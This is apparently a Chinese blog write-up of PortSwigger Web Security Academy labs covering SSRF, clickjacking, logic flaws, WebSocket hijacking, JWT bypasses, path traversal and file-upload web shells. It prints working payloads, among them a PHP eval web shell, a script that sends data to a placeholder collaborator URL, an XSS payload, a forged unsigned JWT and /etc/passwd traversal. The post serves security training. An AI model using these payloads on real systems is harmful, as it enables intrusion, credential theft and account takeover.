【Burpsuit靶场记录】

SSRF

Blind SSRF with out-of-band detection

前两关的漏洞点出现在检查库存处,本关中没有检查库存功能,根据题解发现漏洞点位于Referer处(长脑子了长脑子了…)
点击一个商品
在这里插入图片描述
burp中抓到如下包
在这里插入图片描述

打开Collaborator,获取一个url
在这里插入图片描述

copy
在这里插入图片描述
将抓到包的Referer值改为copy的url,重新发包
在这里插入图片描述
直接点击poll now能够立马接收到数据,否则默认60s刷新
在这里插入图片描述
这里有个问题,不明白为什么能够利用Referer头进行SSRF利用,挖个坑后面搞懂了填上,评论区有师傅知道的话麻烦指点一下(Respect

SSRF with blacklist-based input filter

一样是检查库存功能点
在这里插入图片描述
直接替换地址已经不行了
在这里插入图片描述
题目提示黑名单,说明限制了url,而localhost和admin都可能被过滤,这里我们一个一个绕过,首先是localhost,表示本机地址,可以用127.0.0.1代替,而127.0.0.1也被限制了
在这里插入图片描述
这时候可以采用的地址有几种,这里只指出本题可以使用的

http://127.1 //省略0
或修改本地hosts文件

在这里插入图片描述

更多绕过方法可以看这篇文章
localhost绕过方法
接下来绕过admin,对字母a经过两次url编码绕过
在这里插入图片描述
为什么两次url编码呢?因为测试一次编码不行。。。。
接下来直接删除即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Clickjacking

Basic clickjacking with CSRF token protection

点击劫持,简单的来说就是用一个透明的iframe调用页面内容,但用户无法察觉,设置一个按钮在被隐藏的按钮位置诱使用户点击。这样说过去确实很抽象,一开始我也不能理解。直接用html演示

<!DOCTYPE html>
<html>
<head>
  <title>Clickjacking测试</title>
  <style>
    #overlay {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      opacity: 10; /* 设置为0,使其完全透明 */
      z-index: 9999; /* 确保覆盖在页面上方 */
    }
  </style>
</head>
<body>
  <h1>Clickjacking测试</h1>
  <p>请尝试点击下面的按钮:</p>
	<div style="position:relative;top:360px;left:10px;right:300px;">
	    <button>Click me</button>
	</div>
  <iframe id="overlay" src="https://0a83009903bf175081ae25df00640012.web-security-academy.net/my-account"></iframe>
</body>
</html>

浏览器打开
在这里插入图片描述
这是不隐藏iframe的结果,现在我们将透明度设置为0
在这里插入图片描述
这样iframe嵌套的页面就被隐藏了,而且这里的按钮位置和实验要求的delete功能位置重合,这就导致如果这时候我们点击Click me其实是点击了Click me背后的delete按钮,导致了账户的删除。
这里有一个问题,用这个脚本并不能过关,可能是靶场的判定方式问题,我们直接用题解给出的脚本吧

<style>
    iframe {
        position:relative;
        width:$width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position:absolute;
        top:$top_value;
        left:$side_value;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0a83009903bf175081ae25df00640012.web-security-academy.net/my-account"></iframe>

题解中的脚本没有对iframe进行隐藏
在这里插入图片描述

Business logic vulnerabilities

Excessive trust in client-side controls

添加购物车
在这里插入图片描述

bp抓到如下包,价格直接作为参数传递到购物车,且经测试价格参数可控
在这里插入图片描述

修改价格测试
在这里插入图片描述
提交订单即可
在这里插入图片描述

High-level logic vulnerability

一样是添加购物车, 但是这里的价格没了,就尝试修改商品个数
在这里插入图片描述
小数不行,修改为负数试试
在这里插入图片描述
在购物车查看
在这里插入图片描述
成功传递负数,但因为是负数无法购买,所以我们可以再添加几件商品,最后所得值尽可能小就行了
在这里插入图片描述
购买后发现仍未解决。。。。才发现题目要求是买一件jacket
在这里插入图片描述
而上面我们将jacket的数量改为了-1,这样就不能实现买一件了,等于我们使用负数个数的商品去抵消了正数商品,最后购买的也是正数商品。这样的话我们只需要把jacket商品的个数置为1,然后将其他商品个数变为负数即可
在这里插入图片描述
购买即可
在这里插入图片描述

Inconsistent security controls

首先注册一个账号
在这里插入图片描述
利用bp的sitemap功能查找路径
在这里插入图片描述
记得点击开启
在这里插入图片描述
等待一会后发现查到了/admin目录
在这里插入图片描述
访问后发现只有DontWannaCry身份才能使用
在这里插入图片描述
这里将邮箱后缀更新为DontWannaCry即可在这里插入图片描述
成功访问,直接删除即可
在这里插入图片描述

Flawed enforcement of business rules

根据提示,可以使用优惠券,所以猜测本关跟优惠券有关(测试了一下,像上一关一样把商品个数改为负数也能传参,但估计通关不了,毕竟考优惠券)
在这里插入图片描述
在页面底部发现一个新功能注册,就先注册一个账号尝试,注册好后又给了一个优惠券
在这里插入图片描述
现在我们就有两个优惠券了,添加商品到购物车
在这里插入图片描述
添加优惠券时想测试是否能够一张优惠券多次使用,结果不行
在这里插入图片描述
但是如果我们使用两张优惠券交替发包,就可以重复使用(不太清楚原理,难道系统只判断当前用户前后两张优惠券是否相同?)
在这里插入图片描述
购买即可

Low-level logic flaw

这道题涉及到一个整数溢出的问题,我们知道int型整数的范围是-231~231,如果超过这个数且系统没做限制往往会导致一些问题(这题修改商品个数为负值测试已经无效了)
在这里插入图片描述
直接改成极大值好像不行,只能慢慢来了
在这里插入图片描述
测试一下最多一次99,不停发包就行了(Intruder模块),同时关注购物车,查看金额变化
在这里插入图片描述
在这里插入图片描述
可以看到在个数16000左右,金额由正数变为了负数,这就是正溢出,接下来继续爆破让其回到正数即可
在这里插入图片描述
购买即可
在这里插入图片描述

WebSockets

Manipulating WebSocket messages to exploit vulnerabilities

在live chat发送消息,bp中可以获取如下信息
在这里插入图片描述
导入repeater模块,写入payload重新发包
在这里插入图片描述
成功弹窗
在这里插入图片描述
如果直接在前端输入,那么浏览器会进行过滤
在这里插入图片描述
在这里插入图片描述

Cross-site WebSocket hijacking

在livechat中测试,发送READY没啥用
在这里插入图片描述

可能是因为没有登录账号,所以发送也没法返回密码,只能直接用服务器了

POC:
<script>
  var ws = new WebSocket('wss://your-websocket-url');
  ws.onopen = function() {
    ws.send("READY");
  };
  ws.onmessage = function(event) {
    fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
  };
</script>

在burp靶场的漏洞利用服务器输入POC,打开burp获取collaborator url
在这里插入图片描述
在这里插入图片描述

成功
在这里插入图片描述
获取账号密码后登录即可

Manipulating the WebSocket handshake to exploit vulnerabilities

直接repeater输出xss poc结果被ban了
在这里插入图片描述
在这里插入图片描述

用X-Forwarded-For: 1.1.1.1做一个IP欺骗(要是又被ban了随便换一个),然后修改POC再次尝试
在这里插入图片描述
这里识别了onerror和alert()

{"message":"<img src=1 oNeRrOr=alert`1`>"}

发送即可
在这里插入图片描述
在这里插入图片描述

JWT

JWT authentication bypass via unverified signature

根据题目描述,服务器端不会验证收到的jwt中的signature参数,这就可能导致越权
在这里插入图片描述
首先登录wiener账户,然后解密jwt
在这里插入图片描述
解密工具:https://www.bejson.com/jwt/
在这里插入图片描述
将sub改为administrator后重新编码,注意是administrator而不是admin
在这里插入图片描述

利用这个jwt访问admin页面,直接删除即可
在这里插入图片描述
注意删除的时候也要替换session
在这里插入图片描述

JWT authentication bypass via flawed signature verification

题目提示,签名验证有缺陷,而jwt的头部定义了加密signature的加密算法,如果将其置为none就会导致加密算法失效,同时因为加密算法为none,signature改为空即可,这里注意一下jwt的格式,jwt由三个部分组成,分别用 . 隔开,而我们将加密算法置为none后,需要删除第三部分的signature,同时修改第一部分。
如图,解码后的jwt复制下第一部分即头部,然后利用base64编码
在这里插入图片描述

在这里插入图片描述

将编码后的字符串作为新头部,同时删除第三部分,并且将第二部分的wiener改为peter
在这里插入图片描述

eyJraWQiOiJhNTA3MjViYS0zMTM2LTRiNzktODA1Yy1mOWExMjc2NzVlZTMiLCJhbGciOiJub25lIn0=.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxMjg5OTI4Miwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.

删除即可
在这里插入图片描述

JWT authentication bypass via weak signing key

要解决这道题首先得知道signature的加密方式,作为jwt的第三部分,Signature 部分是对前两部分的签名,防止数据篡改。首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,之后使用 Header 里面指定的签名算法进行加密。但如果密钥不复杂就有可能被爆破出来,导致signature被破解,github上也有公开的密钥爆破字典:
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
一样抓包得到jwt,之后利用kali自带的hashcat爆破,格式如下

hashcat -a 0 -m 16500 (jwt)  (字典路径)

最后爆破得到密钥为secret1
在这里插入图片描述
利用jwt.io进行加密
在这里插入图片描述
一样利用这个jwt作为session删除即可

JWT authentication bypass via jwk header injection

jwt头注入,首先我们需要知道,根据JWS规范只有alg报头参数是强制的,而可添加的参数中存在一个jwk参数,它提供一个代表密钥的嵌入式JSON对象,一般情况下服务器应该只使用有限的公钥白名单来验证JWT签名,然而错误配置的服务器有时会使用jwk参数中嵌入的键值来验证jwt签名

也就是整个步骤:获取jwt->解密后利用自己的私钥加密,并且在头部中注入对应的公钥->改user为admin
这里利用jwt editor(burpsuit中下载)生成一个新的rsa密钥
在这里插入图片描述
然后回到repeater模块,在json web token中修改user为administrator,点击攻击
在这里插入图片描述
选择embed jwk,选择刚才生成的密钥
在这里插入图片描述
这样repeater中的session就已经改变了,之后发包就可以成功越权了
在这里插入图片描述

JWT authentication bypass via jku header injection

有些服务器并不会直接使用JWK头部参数来嵌入公钥,而是使用JKU(JWK Set URL)来引用一个包含了密钥的JWK集,我们就可以给服务器传递一个JKU令服务器利用我们给出的密钥对signature进行验证
首先用jwteditor生成一个密钥,步骤和上题一样
在这里插入图片描述
然后将公钥复制出来,注意是公钥,因为是用公钥进行解密
在这里插入图片描述
复制出来后加上key头,保存到exploit服务器的body中
在这里插入图片描述
存储,然后在repeater中修改jwt中的kid、jku和sub,其中kid改为所生成密钥的kid,将jku改为exploit的地址,随后点击sign
在这里插入图片描述

不修改头
在这里插入图片描述
成功越权
在这里插入图片描述

JWT authentication bypass via kid header path traversal

首先介绍一下kid参数,kid参数存在于jwt头部,用于帮助服务器确认验证签名时使用哪个密钥,即寻找与kid相符合的jwk集,然而JWS规范没有为这个ID定义具体的结构——它只是开发人员选择的任意字符串,它们可能使用kid参数指向数据库中的特定条目,甚至是文件的名称,如果这个参数也容易受到目录遍历的攻击,攻击者可能会迫使服务器使用其文件系统中的任意文件作为验证密钥,那么如果我们生成一个值为空的密钥,同时构造文件遍历一个空文件,那么服务器端就能成功识别我们构造的签名
首先生成一个对称密钥Symmetric Key,(为什么是对称密钥不是rsa密钥呢,有没有师傅能帮忙解答一下,个人理解,之前的题目需要一个私钥,并将自己的公钥交给服务器作为验证的密钥,但这道题我们需要将密钥值置为空,所以需要使用对称密钥),将k值设为"AA=="即为null,
在这里插入图片描述
然后抓包修改jwt中的kid和user参数,/dev/null表示空文件
在这里插入图片描述

点击sign,用刚生成的密钥攻击
在这里插入图片描述
成功越权
在这里插入图片描述

Path traversal

File path traversal, simple case

加载商品的时候发现商品图片有filename的路径,可能存在目录遍历漏洞
在这里插入图片描述
构造/image?filename=…/…/…/…/…/etc/passwd
在这里插入图片描述
成功访问
File path traversal, traversal sequences blocked with absolute path bypass
这题其实很简单,关键是知道一个知识点,那就是/etc/passwd 在Linux里面是属于绝对路径的,etc属于文件系统中的一级目录(只在根目录root下面)所以可以直接检索。也就是说完全不需要…/…/…/做一个穿越
在这里插入图片描述

File upload vulnerabilities

Remote code execution via web shell upload

点击上传,这里没有做限制,直接选择本地的php文件就好
在这里插入图片描述
在这里插入图片描述
shell内容如下

<?php @eval($_GET['cmd']);?>

上传成功后,右键打开图片地址
在这里插入图片描述
构造如下URL:

https://0a6200ab049ed603830f88c0006900dd.web-security-academy.net/files/avatars/shell.php?cmd=system(%27cat%20/home/carlos/secret%27);

在这里插入图片描述
成功获取,提交即可(这里不能用冰蝎直接连接shell,不知道为什么,有懂的师傅麻烦解惑一下)

Web shell upload via Content-Type restriction bypass

如果像上一题一样上传会被拦截,只需要修改Content-type值即可
在这里插入图片描述
在这里插入图片描述

Web shell upload via path traversal

题目提示目录穿越,测试发现当前目录确实不解析,所以利用目录穿越上传到上一级目录就好
在这里插入图片描述
利用"…/“做目录穿越,注意进行编码绕过检测”…%2F"
在这里插入图片描述
一样读取
在这里插入图片描述

Lab: Web shell upload via extension blacklist bypass

文件后缀被限制,本来想用%00截断但是不行
在这里插入图片描述
改成上传.htaccess文件,令后缀"shell"解析为"php"

AddType application/x-httpd-php .shell

在这里插入图片描述
之后上传shell后缀的POC就行了
在这里插入图片描述
一样读取
在这里插入图片描述

Web shell upload via obfuscated file extension

这题可以用上%00截断了
在这里插入图片描述
老样子读取
在这里插入图片描述

Remote code execution via polyglot web shell upload

这题对上传文件的内容进行了验证,主要验证文件头是否符合标准,例如png的文件头就是89 50 4E 47,所以我们需要制作一个图片马,就是将一句话木马放入png文件中,然后令其作为php文件解析即可(这里没验证文件后缀,所以直接在bp中把png后缀修改为php即可)
制作文件马可以在kali中,利用cat命令制作

cat 1.png shell.php >2.png

上传时改为php后缀
在这里插入图片描述
成功读取
在这里插入图片描述

Web shell upload via race condition

利用Intruder插件做条件竞争,脚本如下

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

在这里插入图片描述
上传的包
在这里插入图片描述
获取数据的包
在这里插入图片描述
注意将协议由http/2改为http/1.1,否则可能会报错,然后attack即可
在这里插入图片描述

  • 13
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值